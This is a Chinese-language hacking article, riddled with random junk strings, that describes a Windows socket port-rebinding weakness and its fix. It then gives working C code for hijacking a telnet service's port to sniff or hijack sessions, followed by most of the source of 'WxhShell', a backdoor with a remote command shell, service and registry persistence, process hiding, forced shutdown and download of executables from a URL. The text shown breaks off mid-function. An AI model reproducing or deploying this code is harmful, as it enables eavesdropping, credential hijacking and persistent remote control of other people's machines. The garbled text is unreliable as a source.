在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;"xfOzQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wVvF^VHV^ %h hfU6[ saddr.sin_family = AF_INET;
R#s)r E7WK
( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n"h`5p5' ]>W6
bTK bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C+*d8_L B~?*?Z' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FXpJqlhNv TCMCK_SQL 这意味着什么?意味着可以进行如下的攻击:
+Te\H TeMHm?1^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b}2ED9HG\ mbKZJ{|4s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
kq?Ms|h ^8]NxV@l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)~&CvJ aacpM[{f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n|6Ic,:[ t DO=P
c 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<h!_>:2L =R^%(Py 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
D+#E-8 *-#&K\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ij 79~pn e-~N" #include
l.(v^3:X #include
d|jNf</` #include
#"}JdBn #include
|+{)_? DWORD WINAPI ClientThread(LPVOID lpParam);
?'IP4z;y int main()
M5i%jZk {
[ieI;OG; WORD wVersionRequested;
mJ<=n?{Z DWORD ret;
zp6C3RG( WSADATA wsaData;
a f6M,{F BOOL val;
32(^Te]: SOCKADDR_IN saddr;
oF vfCrd SOCKADDR_IN scaddr;
]v?@g:iE int err;
#./fY;:cj SOCKET s;
Juo^ , SOCKET sc;
?)/#+[xa int caddsize;
xv46r=> HANDLE mt;
<'}YyU= DWORD tid;
*HU &4E\a wVersionRequested = MAKEWORD( 2, 2 );
l(yZO$ err = WSAStartup( wVersionRequested, &wsaData );
adlV!k7RG if ( err != 0 ) {
r^2p*nr} printf("error!WSAStartup failed!\n");
"N;`1ce return -1;
?K1/ <PE+ }
"H2EL}3/] saddr.sin_family = AF_INET;
WEAT01 f@6QvkIa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e*sfPHt HsxVZ.dS saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GmK^}=frj saddr.sin_port = htons(23);
+|*IZ:w) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<:_wbVn- {
1kz\IQ{ printf("error!socket failed!\n");
,t3wp#E2# return -1;
G%BjhpL }
2L!u1 val = TRUE;
aasoW\UG //SO_REUSEADDR选项就是可以实现端口重绑定的
5b5x!do if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|Yx~;q: {
-Mip,EO printf("error!setsockopt failed!\n");
,yC-+VL return -1;
#OZ>V3k }
N>Xo_-QCY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o5d%w-' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
qjwxhabc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/{Is0+) bT</3>+C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/Jta^Bj {
Y&`=jDI ret=GetLastError();
\-L&5x"x printf("error!bind failed!\n");
u^&A W$ return -1;
rUTcpGH }
}pDqe;a{ listen(s,2);
\1d( 9jR while(1)
~W*FCG#E {
E~,F caddsize = sizeof(scaddr);
Q[Z8ok //接受连接请求
ih)zG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$Y;U[_l# if(sc!=INVALID_SOCKET)
Gw=B:kGk {
?yZ+D z\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N%kt3vmQ_ if(mt==NULL)
zofa-7'Bn {
{]*c29b> printf("Thread Creat Failed!\n");
hZdoc< break;
LI'6R= }
:v0U|\j8/V }
]E7F/O/. CloseHandle(mt);
3^IpE];+:u }
j~"Q3P;V closesocket(s);
H-WJp<_ WSACleanup();
:8I9\eet3 return 0;
9FoHD }
Ha(c'\T(\ DWORD WINAPI ClientThread(LPVOID lpParam)
dW_KU} {
j
>Ht @Wi SOCKET ss = (SOCKET)lpParam;
imo$-}A SOCKET sc;
#TeG-sFJg@ unsigned char buf[4096];
B3: ez
jj SOCKADDR_IN saddr;
B#exHf8 long num;
%}[i'rT> DWORD val;
v5/~-uRL% DWORD ret;
@_-hk|Nl@ //如果是隐藏端口应用的话,可以在此处加一些判断
9"NF/)_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yZ
@"\Z! saddr.sin_family = AF_INET;
m];]7uB5= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
au N6prGe saddr.sin_port = htons(23);
,bXe<L) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
jGJLSEe_ {
.I$qCb|FP printf("error!socket failed!\n");
kd>hhiz| return -1;
fA&k`L(y }
mGtdO/C#B val = 100;
FFl!\y*0z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NYt&@Z}] {
s0\X ^ ret = GetLastError();
&[_g6OL return -1;
Jk&3%^P{m }
E8!e:l
=Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d.3E[AJa( {
d<% z
1Dj2 ret = GetLastError();
B%"
d~5Y return -1;
81](T< }
!4]TXH0f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]-PH^H {
{^
qcx 8 printf("error!socket connect failed!\n");
.O74V~T closesocket(sc);
pqk?|BvpK_ closesocket(ss);
>x/z7v?^I return -1;
Bs13^^hu }
SlgN&{Bk while(1)
l-fi%Z7C {
5k!g%sZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lun#^ J //如果是嗅探内容的话,可以再此处进行内容分析和记录
1uG"f<TsR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+GG9^:<yr num = recv(ss,buf,4096,0);
;>#wU' if(num>0)
<
nXL send(sc,buf,num,0);
'ZT^PV\ else if(num==0)
1Y/s%L break;
+vvv[ num = recv(sc,buf,4096,0);
XO`0>^g if(num>0)
dpJ_r>NI send(ss,buf,num,0);
?b*s.
^ else if(num==0)
RdWRWxTn8+ break;
?Fi=P# }
]|!OP closesocket(ss);
b+,';bW closesocket(sc);
}e!x5g return 0 ;
N+++4; }
2gc/3*F8 gaQdG=G8$ #J@[Wd ==========================================================
s2teym,uG h xSKG 下边附上一个代码,,WXhSHELL
:S.9eFfa ~{d$!`|a ==========================================================
%Da8{%{`Pc kr+D,h01 #include "stdafx.h"
6tB+J F 6tX q: #include <stdio.h>
Ci?Ss+| #include <string.h>
x8wD0D #include <windows.h>
V\{clJ\U #include <winsock2.h>
~s%
Md #include <winsvc.h>
'U1R\86M #include <urlmon.h>
ADS9DiX/ _/F7?^j #pragma comment (lib, "Ws2_32.lib")
Y?S!8-z #pragma comment (lib, "urlmon.lib")
N8k00*p65 6 2'j!"xv #define MAX_USER 100 // 最大客户端连接数
S)lkz'tdk #define BUF_SOCK 200 // sock buffer
#EO9UW5 #define KEY_BUFF 255 // 输入 buffer
t=|evOz] @AGn{q #define REBOOT 0 // 重启
Lilr0|U+ #define SHUTDOWN 1 // 关机
l%[EXZ M*!agh #define DEF_PORT 5000 // 监听端口
lU@]@_< b8~Bazk #define REG_LEN 16 // 注册表键长度
C3*gn}[ #define SVC_LEN 80 // NT服务名长度
I2TaT(e\
>[MX:Yh // 从dll定义API
`)`
n(B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<%($7VMev typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
" |Xk2U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
os,* 3WO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}#.L7SIJ<J y603$Cv // wxhshell配置信息
kB3H="3[[ struct WSCFG {
m4aB*6<lq int ws_port; // 监听端口
#,,d>e char ws_passstr[REG_LEN]; // 口令
[ad@*KFxy3 int ws_autoins; // 安装标记, 1=yes 0=no
U[SaY0Z char ws_regname[REG_LEN]; // 注册表键名
I`p+Qt char ws_svcname[REG_LEN]; // 服务名
C3eR)Yh char ws_svcdisp[SVC_LEN]; // 服务显示名
]j'p :v char ws_svcdesc[SVC_LEN]; // 服务描述信息
T@G?t0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
i'4B3 int ws_downexe; // 下载执行标记, 1=yes 0=no
w,w{/T+B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j:5=s%S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:ZTc7} :axRoRg };
^oVs+ vC ;-9=RI0 // default Wxhshell configuration
$eD.W struct WSCFG wscfg={DEF_PORT,
F5?m6`g? "xuhuanlingzhe",
'd.EC# 1,
vtw6FX_B "Wxhshell",
=G]1LTI "Wxhshell",
aEM %R<e "WxhShell Service",
s}j{#xT "Wrsky Windows CmdShell Service",
A9f)tqbc "Please Input Your Password: ",
21
O'M 1,
.P;*D ws "
http://www.wrsky.com/wxhshell.exe",
.uuO>: "Wxhshell.exe"
/s?r`' j[ };
uv=.2U46 }E0,z // 消息定义模块
iTFdN}U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)0ea+ib char *msg_ws_prompt="\n\r? for help\n\r#>";
eCN })An char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|o{:ZmzM char *msg_ws_ext="\n\rExit.";
=4[v3Qx char *msg_ws_end="\n\rQuit.";
\n{qsf: char *msg_ws_boot="\n\rReboot...";
IOb*GTb char *msg_ws_poff="\n\rShutdown...";
:E_g"_ char *msg_ws_down="\n\rSave to ";
z*kutZ:6Y 9^,Lc1"M> char *msg_ws_err="\n\rErr!";
x97
j char *msg_ws_ok="\n\rOK!";
x$IX5:E#e bLe<G char ExeFile[MAX_PATH];
&=#[(vl int nUser = 0;
>_o} HANDLE handles[MAX_USER];
X *&[u7No int OsIsNt;
E_k$W5 ]%|GmtqZs, SERVICE_STATUS serviceStatus;
#bMuvaP~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
|UK} 7[I}*3Q' // 函数声明
QrfG^GID int Install(void);
'qjeXqGH$ int Uninstall(void);
JQV%fTH S int DownloadFile(char *sURL, SOCKET wsh);
LA@w:Fg int Boot(int flag);
yHs-h
void HideProc(void);
dQ_!)f&w1 int GetOsVer(void);
O$IEn/%+ int Wxhshell(SOCKET wsl);
F{EnOr`,m= void TalkWithClient(void *cs);
\]=7!RQ\ int CmdShell(SOCKET sock);
kB/D!1
" int StartFromService(void);
CZ(/=3,3n int StartWxhshell(LPSTR lpCmdLine);
& @s!<9$W I2 j}Am VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4G$|Rx[{, VOID WINAPI NTServiceHandler( DWORD fdwControl );
]3VI|f$$ <1FC%f/ // 数据结构和表定义
G]fRk^~ SERVICE_TABLE_ENTRY DispatchTable[] =
29!q!g | {
#>%X_o-o23 {wscfg.ws_svcname, NTServiceMain},
X=hYB}}nu {NULL, NULL}
twP,cyR };
Fb^:V4<T BlXB7q, // 自我安装
}RmU%IYc int Install(void)
pcYG~pZ9 {
IkBei&4F` char svExeFile[MAX_PATH];
LM}Ib. HKEY key;
`|,`QqDQ strcpy(svExeFile,ExeFile);
HR
;)|j{! aCQ?fq // 如果是win9x系统,修改注册表设为自启动
T(e!_VY|m if(!OsIsNt) {
3T"j)R_=l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2C/$Ei^t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/h*>P:i]. RegCloseKey(key);
c:-!'l$ ! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z2TL #@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g{8,Wx,, RegCloseKey(key);
1jN-4& return 0;
hg+X(0 }
UG)8D5 }
QS{1CC9$ }
TYJ:! else {
D+]a.& {p cgm81+[%r // 如果是NT以上系统,安装为系统服务
Svc|0Ad& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SILQ if (schSCManager!=0)
Ttxqf:OMf {
GFel(cx:K SC_HANDLE schService = CreateService
7RUofcax (
ZJwrLV schSCManager,
JcbwDlUb wscfg.ws_svcname,
-TM0]{ wscfg.ws_svcdisp,
|P -8HlOr SERVICE_ALL_ACCESS,
#$c Rkw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
blTo5NLX SERVICE_AUTO_START,
1E73i_L SERVICE_ERROR_NORMAL,
^go7_y svExeFile,
:E>HE,1b+ NULL,
t?9v^vFR NULL,
Q\cjPc0y NULL,
~.UrL(l= NULL,
E-I-0h2 NULL
0%m)@ukb );
A8pIs if (schService!=0)
D9FJ 1~ {
#a`a$A CloseServiceHandle(schService);
0KGY\,ae:; CloseServiceHandle(schSCManager);
(N&lHLy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Xlb0/T<g! strcat(svExeFile,wscfg.ws_svcname);
.Fnwm} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1jc,
Y.mP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yqi^>Ce0 RegCloseKey(key);
qIY~dQ| return 0;
P@,nA41,j }
KuMF^0V%c }
DdVF, CloseServiceHandle(schSCManager);
kAu+zX>S+ }
agjv{ }
[1F*bI 'ow.=1N- return 1;
Yc,7tUz# }
Y7vA`kjD-C 91$]Qg,lB // 自我卸载
%,Ap7X3:QT int Uninstall(void)
Sqo
:- {
G}FIjBE HKEY key;
:cGt#d6 {K9/HqH if(!OsIsNt) {
_>9.v%5cs( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|b-]n"}c> RegDeleteValue(key,wscfg.ws_regname);
co9 .wB@ RegCloseKey(key);
G.(mp<- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|37
g ~ RegDeleteValue(key,wscfg.ws_regname);
K91)qI;BD RegCloseKey(key);
w9o^s5n return 0;
e _/b2"{ }
w~
[b*$ }
f-5:wM& }
'Er:a?88l else {
]R=,5kK3 `;>= '"O!\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s1e:v+B] if (schSCManager!=0)
Fd#m<" {
oI.G-ChP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
l'\pk<V if (schService!=0)
Sr%;fq {
}S3qBQTYL if(DeleteService(schService)!=0) {
O9g{+e` CloseServiceHandle(schService);
:%sXO CloseServiceHandle(schSCManager);
Pv<24:ao return 0;
t
0-(U\ }
@DZB9DDR CloseServiceHandle(schService);
CT1ja.\; }
*&d<yJM`b CloseServiceHandle(schSCManager);
(ZY@$'' }
%/YcL6o( }
j%y$_9a7 h+a S4Q& return 1;
}J7zTj~{ }
<x&%~6j rtL}W__ // 从指定url下载文件
.N*Pl(<[ int DownloadFile(char *sURL, SOCKET wsh)
VMCLHpSfW {
({NAMc* HRESULT hr;
dlG=Vq&Y char seps[]= "/";
jS]><rm char *token;
=IUUeFv +r char *file;
6<$Odd char myURL[MAX_PATH];
ND5`Q"k
char myFILE[MAX_PATH];
.VkbYK Dgx8\~(E' strcpy(myURL,sURL);
J]q%gcM token=strtok(myURL,seps);
8,atX+tc while(token!=NULL)
r" K':O6y {
k<cgO[m file=token;
L*Me."* token=strtok(NULL,seps);
/__PSK }
^k
Cn*& aM{xdTYaU GetCurrentDirectory(MAX_PATH,myFILE);
&m[Qn!>i6 strcat(myFILE, "\\");
WyZL9K{? strcat(myFILE, file);
> ]8a3x send(wsh,myFILE,strlen(myFILE),0);
"3<da* D1 send(wsh,"...",3,0);
Zr-U&9.` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JR@.R
,rII if(hr==S_OK)
JXw^/Y$ return 0;
~j-cS
J3 else
#Jna6 return 1;
HmZ{L +" yB3; }
l/Vo-# QMsHC%l3b // 系统电源模块
2CzaL,je[ int Boot(int flag)
AQc,>{Lm {
?X5]i#j[ HANDLE hToken;
UThB7(O, TOKEN_PRIVILEGES tkp;
Nx-uQ^e*1 5l,ZoB8 if(OsIsNt) {
Fh*j#*oe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
[|lB5gi4t! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d oB tkp.PrivilegeCount = 1;
7^M9qTEHp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/l{&iLz[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ru`U' if(flag==REBOOT) {
9W8]8sUeG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nN~~cV return 0;
gN>2xnh'm }
r@{~ 5&L else {
^+
wD43 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{<5ybbhLV return 0;
R@wjccu }
4pln5v= }
Qjnd6uv{I else {
;P;((2_X9 if(flag==REBOOT) {
Hk7q{`:N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{VP$J"\e return 0;
k64."*X }
JMCW} bA else {
qiZO _=0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8`b`QtGf return 0;
C_ \q?> }
/1 RAAa }
\V>?Do7 x)UwV return 1;
!J=sk4T }
)I\=BPo|B ||zb6|7I4 // win9x进程隐藏模块
:iiw3#] void HideProc(void)
>I<r)w] {
qClHP)< HK~xOAF HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,KJw|x4}\ if ( hKernel != NULL )
UYA_jpI P {
e;GU
T: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2..,Sk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~Xlrvb}LP FreeLibrary(hKernel);
x'zBK0i }
)XfzLF7 HAYMX:% return;
Jjl%R[mI }
ms_ VM>l `+#G+Vu5 // 获取操作系统版本
xBFJ} v int GetOsVer(void)
a,Gxm! {
'u4ezwF; OSVERSIONINFO winfo;
zd]D(qeX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
TrdZJ21#M GetVersionEx(&winfo);
{u[V{XIUh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
CAT.4GM return 1;
!vn1v)6 else
^VT1vu
%03 return 0;
efG6v }
"C?5f]T F/1#l@qN // 客户端句柄模块
?%O3Oi Xz int Wxhshell(SOCKET wsl)
j$da8] ! {
_al|'obomy SOCKET wsh;
L'i-fM[# struct sockaddr_in client;
pr,p=4m{\ DWORD myID;
)s9',4$eK< $DBGLmw while(nUser<MAX_USER)
@FN*TJ {
`O^G5 0 int nSize=sizeof(client);
|BZDhd9<{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
WS2osBc if(wsh==INVALID_SOCKET) return 1;
d/74{. O8U<{jgAG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!TAp+b if(handles[nUser]==0)
as+GbstN closesocket(wsh);
$3X-rjQtW else
O|cu.u| nUser++;
%~NH0oFO }
ZAuWx@} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qpJ{2Q t!1$$e?`r return 0;
7*w VI+ }
$ XBAZ<"hd "Dy'Kd%,%/ // 关闭 socket
Z.i{i^/#( void CloseIt(SOCKET wsh)
%b?$@H-Re {
^")F7`PF closesocket(wsh);
r,(et nUser--;
nsb4S{ ExitThread(0);
I1 U7.CT }
6
fz} Q6C-4ja // 客户端请求句柄
'z=:[#b void TalkWithClient(void *cs)
W2-=U@ {
gLE7Edcp6V
\4ghYQ: SOCKET wsh=(SOCKET)cs;
*pzq.# char pwd[SVC_LEN];
iP3Z char cmd[KEY_BUFF];
d h^^G^ char chr[1];
$!A:5jech int i,j;
f]8I64 ]J2:194 while (nUser < MAX_USER) {
lo&#(L+2 jY!ZkQsVe if(wscfg.ws_passstr) {
"()sb? & if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}i!pL(8; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S06Hs~>Y //ZeroMemory(pwd,KEY_BUFF);
f!t69nd%L i=0;
\
u+xa{b| while(i<SVC_LEN) {
aaWJ*
>rJ SKY*.IW/Z // 设置超时
9=dkx^q fd_set FdRead;
FZpKFsPx struct timeval TimeOut;
pL1s@KR FD_ZERO(&FdRead);
Lp:6 ; FD_SET(wsh,&FdRead);
~:sE:9$z TimeOut.tv_sec=8;
FdOFE.l TimeOut.tv_usec=0;
;/AG@$) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
TB
aVW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O';ew)tI
)wzV
$(~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@nV5.r0W}B pwd
=chr[0]; !{_yaVF
if(chr[0]==0xd || chr[0]==0xa) { x;BbTBc>
pwd=0; E^ h=!RW{
break; f%qt)Ick
} ?Ce#BwQ>
i++; Vs0 SXj
} ":?T%v>
{#Q\z>
// 如果是非法用户,关闭 socket farDaS[\VY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ://U^sFL
} +zOOdSFk.
e5v`;(^M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q<=:
>?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xwu.AVsr
{6vEEU
while(1) { |@VF.)_
v$|mo;6
ZeroMemory(cmd,KEY_BUFF); }3/~x
J>S3sP
// 自动支持客户端 telnet标准 %.x@gi q
j=0; h!]"R<QQdu
while(j<KEY_BUFF) { X.|Ygx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v1[_}N9f>H
cmd[j]=chr[0]; 3-wD^4)O,
if(chr[0]==0xa || chr[0]==0xd) { {0jIY
cmd[j]=0; nZvU'k:
break; J0<p4%Cf
} W 5DbFSgB
j++; sroGER.
} ]= x
1`j
q7]>i!A
// 下载文件 Bmr<O!
if(strstr(cmd,"http://")) { ?KN:r E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0~E 6QhV:
if(DownloadFile(cmd,wsh)) DR+,Y2!_GT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]YD(`42 x
else jD<pIHau
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o$bUY7_
} =q
CF%~
else { R ZcH+?7
?g}kb
switch(cmd[0]) { X.J
[QEwK|!L
// 帮助 EnCU4CU`
case '?': { t3F?>G#y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nmE5]Pcg
break; 0^<,(]!
} ,w\ wQn>]K
// 安装 @!H
'+c
case 'i': { %O) Z
if(Install()) af>3V( 7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #vnT&FN0[
else ~Yl$I,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; h+ q
break; :0Te4UE;P7
} Ee?;i<u
// 卸载 (:} <xxl
case 'r': { zHFTCL>"
if(Uninstall()) 5RhF+p4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OlcP(
else D!l8l49hLu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g,?\~8-c
break; !k h{9I>M
} $N\+,?
// 显示 wxhshell 所在路径 q+/l"&j.
case 'p': { BjD&>gO)
char svExeFile[MAX_PATH]; EzP#Mnz^
strcpy(svExeFile,"\n\r"); bXl8v
strcat(svExeFile,ExeFile); lP0k:
send(wsh,svExeFile,strlen(svExeFile),0); iSd?N}2,I
break; ,C!n}+27
} kMS5h~D[
// 重启 0eA5zFU7
case 'b': { b>=7B6 Aw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {})y^L
if(Boot(REBOOT)) ZlM_m
>,o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (v;A'BjN
else { 6lU|mJ`M
closesocket(wsh); @&:VKpu\
ExitThread(0); uX0
Bp8P
} d^SE)/j
break; )k%M.{&bji
} u9}!Gq
// 关机 \dNhzd#
case 'd': { "t+r+ipf])
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N9*UMVU
if(Boot(SHUTDOWN)) cdp{W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w b+<a
else { W?PWJkIw
closesocket(wsh); hT=f;6$
ExitThread(0); BGpk&.J
} uHrb:X!q
break; @U7Dunu*f
} 51/sTx<Z}
// 获取shell Vj7Hgc-,
case 's': { nt`<y0ta
CmdShell(wsh); 9RcM$[~
closesocket(wsh); r /yHmEk&
ExitThread(0); >nNl^ yqW
break; IDmsz
} ^je528%H
// 退出 KL~AzLI
case 'x': { X!7Xg
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b6Xi
CloseIt(wsh); nk>8SW^
break; q(1r<2
} _=T]PSauI
// 离开 +
o{*r#
case 'q': { M\jB)@)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %(NN*o9"q
closesocket(wsh); dk4D+*R
WSACleanup(); UFk!dK+
exit(1); \!7*(&yly
break; 7uA\&/
,
} '{W3j^m7
} KT%{G8Y@M
} *s36OF!
J;HkTT
// 提示信息 S]b
xQa+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F#^L9
} M)tv;!eQ
} m|`VJ0
+yIL[D
return; P09,P
} +<B|qcT!
/[L)tj7B
// shell模块句柄 lG
<yJ~{
int CmdShell(SOCKET sock) Wa{%0inZ
{ hJ4S3b
STARTUPINFO si; r?]%d!
ZeroMemory(&si,sizeof(si)); fT
x4vlI4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]
EV`dIk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~RCg.&[ou
PROCESS_INFORMATION ProcessInfo; /6smVz@O
char cmdline[]="cmd"; A{t"M-<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Fi/jR0]e2
return 0; [{/$9k-aF?
} ef,F[-2^o
Ki63Ox^O
// 自身启动模式 ^K/G 5
int StartFromService(void) iU,/!IQ
{ _4Ii5CNNU
typedef struct ~Q_F~ 0y
{ Djyp3uUA/
DWORD ExitStatus; J[MVE4&
DWORD PebBaseAddress; 6w@,I;
DWORD AffinityMask; uh1S
7!^
DWORD BasePriority; a6P!Wzb
ULONG UniqueProcessId; [}@n*D$
